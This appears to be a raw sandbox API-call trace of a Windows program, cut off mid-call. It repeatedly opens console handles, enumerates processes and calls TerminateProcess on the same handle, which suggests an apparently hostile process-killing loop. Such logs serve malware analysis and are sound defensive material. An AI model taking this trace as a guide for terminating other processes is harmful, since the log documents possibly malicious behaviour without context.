[0068.227] GetLastError () returned 0x0 [0068.227] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xbf, lpConsoleScreenBufferInfo=0x5e8e4d8 | out: lpConsoleScreenBufferInfo=0x5e8e4d8) returned 1 [0068.227] GetLastError () returned 0x0 [0068.227] SetConsoleTextAttribute (hConsoleOutput=0xbf, wAttributes=0x7) returned 1 [0068.227] GetLastError () returned 0x0 [0068.231] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xbf [0068.231] GetLastError () returned 0x0 [0068.231] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xbf, lpConsoleScreenBufferInfo=0x5e8e4d8 | out: lpConsoleScreenBufferInfo=0x5e8e4d8) returned 1 [0068.232] GetLastError () returned 0x0 [0068.232] SetConsoleTextAttribute (hConsoleOutput=0xbf, wAttributes=0x7) returned 1 [0068.232] GetLastError () returned 0x0 [0068.236] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xbf [0068.236] GetLastError () returned 0x0 [0068.236] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xbf, lpConsoleScreenBufferInfo=0x5e8e4d4 | out: lpConsoleScreenBufferInfo=0x5e8e4d4) returned 1 [0068.236] GetLastError () returned 0x0 [0068.236] SetConsoleTextAttribute (hConsoleOutput=0xbf, wAttributes=0x7) returned 1 [0068.236] GetLastError () returned 0x0 [0068.240] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xbf [0068.242] GetLastError () returned 0x0 [0068.242] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xbf, lpConsoleScreenBufferInfo=0x5e8e4d4 | out: lpConsoleScreenBufferInfo=0x5e8e4d4) returned 1 [0068.242] GetLastError () returned 0x0 [0068.242] SetConsoleTextAttribute (hConsoleOutput=0xbf, wAttributes=0x7) returned 1 [0068.243] GetLastError () returned 0x0 [0068.243] EnumProcesses (in: lpidProcess=0x2f10248, cb=0x400, lpcbNeeded=0x5e8e5a8 | out: lpidProcess=0x2f10248, lpcbNeeded=0x5e8e5a8) returned 1 [0068.244] GetLastError () returned 0x0 [0068.245] TerminateProcess (hProcess=0x4e8, uExitCode=0xffffffff) returned 1 [0068.246] GetLastError () returned 0x0 [0068.250] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xbf [0068.250] GetLastError () returned 0x0 [0068.250] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xbf, lpConsoleScreenBufferInfo=0x5e8e4e0 | out: lpConsoleScreenBufferInfo=0x5e8e4e0) returned 1 [0068.250] GetLastError () returned 0x0 [0068.254] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xc3 [0068.254] GetLastError () returned 0x0 [0068.254] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xc3, lpConsoleScreenBufferInfo=0x5e8e4e0 | out: lpConsoleScreenBufferInfo=0x5e8e4e0) returned 1 [0068.254] GetLastError () returned 0x0 [0068.258] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xc7 [0068.258] GetLastError () returned 0x0 [0068.258] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xc7, lpConsoleScreenBufferInfo=0x5e8e4d0 | out: lpConsoleScreenBufferInfo=0x5e8e4d0) returned 1 [0068.259] GetLastError () returned 0x0 [0068.262] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xcb [0068.262] GetLastError () returned 0x0 [0068.262] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xcb, lpConsoleScreenBufferInfo=0x5e8e4d0 | out: lpConsoleScreenBufferInfo=0x5e8e4d0) returned 1 [0068.262] GetLastError () returned 0x0 [0068.266] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xcf [0068.266] GetLastError () returned 0x0 [0068.266] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xcf, lpConsoleScreenBufferInfo=0x5e8e4d8 | out: lpConsoleScreenBufferInfo=0x5e8e4d8) returned 1 [0068.267] GetLastError () returned 0x0 [0068.267] SetConsoleTextAttribute (hConsoleOutput=0xcf, wAttributes=0x7) returned 1 [0068.267] GetLastError () returned 0x0 [0068.271] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xcf [0068.271] GetLastError () returned 0x0 [0068.271] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xcf, lpConsoleScreenBufferInfo=0x5e8e4d8 | out: lpConsoleScreenBufferInfo=0x5e8e4d8) returned 1 [0068.271] GetLastError () returned 0x0 [0068.271] SetConsoleTextAttribute (hConsoleOutput=0xcf, wAttributes=0x7) returned 1 [0068.272] GetLastError () returned 0x0 [0068.276] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xcf [0068.276] GetLastError () returned 0x0 [0068.276] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xcf, lpConsoleScreenBufferInfo=0x5e8e4d4 | out: lpConsoleScreenBufferInfo=0x5e8e4d4) returned 1 [0068.276] GetLastError () returned 0x0 [0068.276] SetConsoleTextAttribute (hConsoleOutput=0xcf, wAttributes=0x7) returned 1 [0068.276] GetLastError () returned 0x0 [0068.280] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xcf [0068.285] GetLastError () returned 0x0 [0068.285] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xcf, lpConsoleScreenBufferInfo=0x5e8e4d4 | out: lpConsoleScreenBufferInfo=0x5e8e4d4) returned 1 [0068.285] GetLastError () returned 0x0 [0068.285] SetConsoleTextAttribute (hConsoleOutput=0xcf, wAttributes=0x7) returned 1 [0068.286] GetLastError () returned 0x0 [0068.286] EnumProcesses (in: lpidProcess=0x2f35714, cb=0x400, lpcbNeeded=0x5e8e5a8 | out: lpidProcess=0x2f35714, lpcbNeeded=0x5e8e5a8) returned 1 [0068.287] GetLastError () returned 0x0 [0068.288] TerminateProcess (hProcess=0x4e8, uExitCode=0xffffffff) returned 1 [0068.289] GetLastError () returned 0x0 [0068.294] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xcf [0068.294] GetLastError () returned 0x0 [0068.294] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xcf, lpConsoleScreenBufferInfo=0x5e8e4e0 | out: lpConsoleScreenBufferInfo=0x5e8e4e0) returned 1 [0068.295] GetLastError () returned 0x0 [0068.299] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xd3 [0068.299] GetLastError () returned 0x0 [0068.299] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xd3, lpConsoleScreenBufferInfo=0x5e8e4e0 | out: lpConsoleScreenBufferInfo=0x5e8e4e0) returned 1 [0068.299] GetLastError () returned 0x0 [0068.303] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xd7 [0068.303] GetLastError () returned 0x0 [0068.303] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xd7, lpConsoleScreenBufferInfo=0x5e8e4d0 | out: lpConsoleScreenBufferInfo=0x5e8e4d0) returned 1 [0068.303] GetLastError () returned 0x0 [0068.307] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xdb [0068.308] GetLastError () returned 0x0 [0068.308] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xdb, lpConsoleScreenBufferInfo=0x5e8e4d0 | out: lpConsoleScreenBufferInfo=0x5e8e4d0) returned 1 [0068.308] GetLastError () returned 0x0 [0068.312] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xdf [0068.312] GetLastError () returned 0x0 [0068.312] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xdf, lpConsoleScreenBufferInfo=0x5e8e4d8 | out: lpConsoleScreenBufferInfo=0x5e8e4d8) returned 1 [0068.312] GetLastError () returned 0x0 [0068.312] SetConsoleTextAttribute (hConsoleOutput=0xdf, wAttributes=0x7) returned 1 [0068.312] GetLastError () returned 0x0 [0068.316] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xdf [0068.317] GetLastError () returned 0x0 [0068.317] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xdf, lpConsoleScreenBufferInfo=0x5e8e4d8 | out: lpConsoleScreenBufferInfo=0x5e8e4d8) returned 1 [0068.317] GetLastError () returned 0x0 [0068.317] SetConsoleTextAttribute (hConsoleOutput=0xdf, wAttributes=0x7) returned 1 [0068.317] GetLastError () returned 0x0 [0068.321] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xdf [0068.323] GetLastError () returned 0x0 [0068.323] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xdf, lpConsoleScreenBufferInfo=0x5e8e4d4 | out: lpConsoleScreenBufferInfo=0x5e8e4d4) returned 1 [0068.324] GetLastError () returned 0x0 [0068.324] SetConsoleTextAttribute (hConsoleOutput=0xdf, wAttributes=0x7) returned 1 [0068.324] GetLastError () returned 0x0 [0068.328] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xdf [0068.328] GetLastError () returned 0x0 [0068.328] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xdf, lpConsoleScreenBufferInfo=0x5e8e4d4 | out: lpConsoleScreenBufferInfo=0x5e8e4d4) returned 1 [0068.328] GetLastError () returned 0x0 [0068.328] SetConsoleTextAttribute (hConsoleOutput=0xdf, wAttributes=0x7) returned 1 [0068.329] GetLastError () returned 0x0 [0068.329] EnumProcesses (in: lpidProcess=0x2f5a994, cb=0x400, lpcbNeeded=0x5e8e5a8 | out: lpidProcess=0x2f5a994, lpcbNeeded=0x5e8e5a8) returned 1 [0068.330] GetLastError () returned 0x0 [0068.331] TerminateProcess (hProcess=0x4e8, uExitCode=0xffffffff) returned 1 [0068.332] GetLastError () returned 0x0 [0068.336] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xdf [0068.339] GetLastError () returned 0x0 [0068.339] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xdf, lpConsoleScreenBufferInfo=0x5e8e4e0 | out: lpConsoleScreenBufferInfo=0x5e8e4e0) returned 1 [0068.339] GetLastError () returned 0x0 [0068.343] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe3 [0068.343] GetLastError () returned 0x0 [0068.343] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xe3, lpConsoleScreenBufferInfo=0x5e8e4e0 | out: lpConsoleScreenBufferInfo=0x5e8e4e0) returned 1 [0068.344] GetLastError () returned 0x0 [0068.347] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe7 [0068.347] GetLastError () returned 0x0 [0068.348] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xe7, lpConsoleScreenBufferInfo=0x5e8e4d0 | out: lpConsoleScreenBufferInfo=0x5e8e4d0) returned 1 [0068.348] GetLastError () returned 0x0 [0068.351] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xeb [0068.352] GetLastError () returned 0x0 [0068.352] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xeb, lpConsoleScreenBufferInfo=0x5e8e4d0 | out: lpConsoleScreenBufferInfo=0x5e8e4d0) returned 1 [0068.352] GetLastError () returned 0x0 [0068.356] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xef [0068.356] GetLastError () returned 0x0 [0068.356] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xef, lpConsoleScreenBufferInfo=0x5e8e4d8 | out: lpConsoleScreenBufferInfo=0x5e8e4d8) returned 1 [0068.356] GetLastError () returned 0x0 [0068.356] SetConsoleTextAttribute (hConsoleOutput=0xef, wAttributes=0x7) returned 1 [0068.356] GetLastError () returned 0x0 [0068.360] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xef [0068.365] GetLastError () returned 0x0 [0068.365] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xef, lpConsoleScreenBufferInfo=0x5e8e4d8 | out: lpConsoleScreenBufferInfo=0x5e8e4d8) returned 1 [0068.365] GetLastError () returned 0x0 [0068.365] SetConsoleTextAttribute (hConsoleOutput=0xef, wAttributes=0x7) returned 1 [0068.366] GetLastError () returned 0x0 [0068.370] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xef [0068.370] GetLastError () returned 0x0 [0068.370] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xef, lpConsoleScreenBufferInfo=0x5e8e4d4 | out: lpConsoleScreenBufferInfo=0x5e8e4d4) returned 1 [0068.370] GetLastError () returned 0x0 [0068.370] SetConsoleTextAttribute (hConsoleOutput=0xef, wAttributes=0x7) returned 1 [0068.370] GetLastError () returned 0x0 [0068.375] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xef [0068.375] GetLastError () returned 0x0 [0068.375] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xef, lpConsoleScreenBufferInfo=0x5e8e4d4 | out: lpConsoleScreenBufferInfo=0x5e8e4d4) returned 1 [0068.375] GetLastError () returned 0x0 [0068.375] SetConsoleTextAttribute (hConsoleOutput=0xef, wAttributes=0x7) returned 1 [0068.375] GetLastError () returned 0x0 [0068.376] EnumProcesses (in: lpidProcess=0x2f7faf4, cb=0x400, lpcbNeeded=0x5e8e5a8 | out: lpidProcess=0x2f7faf4, lpcbNeeded=0x5e8e5a8) returned 1 [0068.377] GetLastError () returned 0x0 [0068.378] TerminateProcess (hProcess=0x4e8, uExitCode=0xffffffff) returned 1 [0068.379] GetLastError () returned 0x0 [0068.383] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xef [0068.383] GetLastError () returned 0x0 [0068.383] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xef, lpConsoleScreenBufferInfo=0x5e8e4e0 | out: lpConsoleScreenBufferInfo=0x5e8e4e0) returned 1 [0068.384] GetLastError () returned 0x0 [0068.387] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xf3 [0068.388] GetLastError () returned 0x0 [0068.388] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf3, lpConsoleScreenBufferInfo=0x5e8e4e0 | out: lpConsoleScreenBufferInfo=0x5e8e4e0) returned 1 [0068.388] GetLastError () returned 0x0 [0068.392] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xf7 [0068.392] GetLastError () returned 0x0 [0068.392] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf7, lpConsoleScreenBufferInfo=0x5e8e4d0 | out: lpConsoleScreenBufferInfo=0x5e8e4d0) returned 1 [0068.392] GetLastError () returned 0x0 [0068.396] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xfb [0068.396] GetLastError () returned 0x0 [0068.396] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xfb, lpConsoleScreenBufferInfo=0x5e8e4d0 | out: lpConsoleScreenBufferInfo=0x5e8e4d0) returned 1 [0068.396] GetLastError () returned 0x0 [0068.400] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xff [0068.402] GetLastError () returned 0x0 [0068.402] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xff, lpConsoleScreenBufferInfo=0x5e8e4d8 | out: lpConsoleScreenBufferInfo=0x5e8e4d8) returned 1 [0068.402] GetLastError () returned 0x0 [0068.402] SetConsoleTextAttribute (hConsoleOutput=0xff, wAttributes=0x7) returned 1 [0068.403] GetLastError () returned 0x0 [0068.407] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xff [0068.407] GetLastError () returned 0x0 [0068.407] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xff, lpConsoleScreenBufferInfo=0x5e8e4d8 | out: lpConsoleScreenBufferInfo=0x5e8e4d8) returned 1 [0068.407] GetLastError () returned 0x0 [0068.407] SetConsoleTextAttribute (hConsoleOutput=0xff, wAttributes=0x7) returned 1 [0068.408] GetLastError () returned 0x0 [0068.413] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xff [0068.413] GetLastError () returned 0x0 [0068.413] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xff, lpConsoleScreenBufferInfo=0x5e8e4d4 | out: lpConsoleScreenBufferInfo=0x5e8e4d4) returned 1 [0068.413] GetLastError () returned 0x0 [0068.413] SetConsoleTextAttribute (hConsoleOutput=0xff, wAttributes=0x7) returned 1 [0068.414] GetLastError () returned 0x0 [0068.418] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xff [0068.418] GetLastError () returned 0x0 [0068.418] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xff, lpConsoleScreenBufferInfo=0x5e8e4d4 | out: lpConsoleScreenBufferInfo=0x5e8e4d4) returned 1 [0068.418] GetLastError () returned 0x0 [0068.418] SetConsoleTextAttribute (hConsoleOutput=0xff, wAttributes=0x7) returned 1 [0068.419] GetLastError () returned 0x0 [0068.419] EnumProcesses (in: lpidProcess=0x2fa4bf0, cb=0x400, lpcbNeeded=0x5e8e5a8 | out: lpidProcess=0x2fa4bf0, lpcbNeeded=0x5e8e5a8) returned 1 [0068.420] GetLastError () returned 0x0 [0068.421] TerminateProcess (hProcess=0x4e8, uExitCode=0xffffffff) returned 1 [0068.422] GetLastError () returned 0x0 [0068.426] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xff [0068.427] GetLastError () returned 0x0 [0068.427] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xff, lpConsoleScreenBufferInfo=0x5e8e4e0 | out: lpConsoleScreenBufferInfo=0x5e8e4e0) returned 1 [0068.427] GetLastError () returned 0x0 [0068.431] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x103 [0068.431] GetLastError () returned 0x0 [0068.431] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x103, lpConsoleScreenBufferInfo=0x5e8e4e0 | out: lpConsoleScreenBufferInfo=0x5e8e4e0) returned 1 [0068.431] GetLastError () returned 0x0 [0068.435] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x107 [0068.435] GetLastError () returned 0x0 [0068.435] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x107, lpConsoleScreenBufferInfo=0x5e8e4d0 | out: lpConsoleScreenBufferInfo=0x5e8e4d0) returned 1 [0068.435] GetLastError () returned 0x0 [0068.439] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b [0068.444] GetLastError () returned 0x0 [0068.444] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x10b, lpConsoleScreenBufferInfo=0x5e8e4d0 | out: lpConsoleScreenBufferInfo=0x5e8e4d0) returned 1 [0068.444] GetLastError () returned 0x0 [0068.448] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10f [0068.448] GetLastError () returned 0x0 [0068.448] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x10f, lpConsoleScreenBufferInfo=0x5e8e4d8 | out: lpConsoleScreenBufferInfo=0x5e8e4d8) returned 1 [0068.448] GetLastError () returned 0x0 [0068.448] SetConsoleTextAttribute (hConsoleOutput=0x10f, wAttributes=0x7) returned 1 [0068.448] GetLastError () returned 0x0 [0068.452] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10f [0068.452] GetLastError () returned 0x0 [0068.453] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x10f, lpConsoleScreenBufferInfo=0x5e8e4d8 | out: lpConsoleScreenBufferInfo=0x5e8e4d8) returned 1 [0068.453] GetLastError () returned 0x0 [0068.453] SetConsoleTextAttribute (hConsoleOutput=0x10f, wAttributes=0x7) returned 1 [0068.453] GetLastError () returned 0x0 [0068.457] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10f [0068.457] GetLastError () returned 0x0 [0068.457] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x10f, lpConsoleScreenBufferInfo=0x5e8e4d4 | out: lpConsoleScreenBufferInfo=0x5e8e4d4) returned 1 [0068.457] GetLastError () returned 0x0 [0068.457] SetConsoleTextAttribute (hConsoleOutput=0x10f, wAttributes=0x7) returned 1 [0068.458] GetLastError () returned 0x0 [0068.462] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10f [0068.462] GetLastError () returned 0x0 [0068.462] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x10f, lpConsoleScreenBufferInfo=0x5e8e4d4 | out: lpConsoleScreenBufferInfo=0x5e8e4d4) returned 1 [0068.462] GetLastError () returned 0x0 [0068.462] SetConsoleTextAttribute (hConsoleOutput=0x10f, wAttributes=0x7) returned 1 [0068.462] GetLastError () returned 0x0 [0068.463] EnumProcesses (in: lpidProcess=0x2fc9a24, cb=0x400, lpcbNeeded=0x5e8e5a8 | out: lpidProcess=0x2fc9a24, lpcbNeeded=0x5e8e5a8) returned 1 [0068.464] GetLastError () returned 0x0 [0068.464] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3d29ce8, Length=0x20000, ResultLength=0x5e8e528 | out: SystemInformation=0x3d29ce8, ResultLength=0x5e8e528*=0xcc58) returned 0x0 [0068.465] TerminateProcess (hProcess=0x4e8, uExitCode=0xffffffff) returned 1 [0068.466] GetLastError () returned 0x0 [0068.470] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10f [0068.470] GetLastError () returned 0x0 [0068.470] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x10f, lpConsoleScreenBufferInfo=0x5e8e4e0 | out: lpConsoleScreenBufferInfo=0x5e8e4e0) returned 1 [0068.471] GetLastError () returned 0x0 [0068.474] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x113 [0068.474] GetLastError () returned 0x0 [0068.475] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x113, lpConsoleScreenBufferInfo=0x5e8e4e0 | out: lpConsoleScreenBufferInfo=0x5e8e4e0) returned 1 [0068.475] GetLastError () returned 0x0 [0068.478] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, 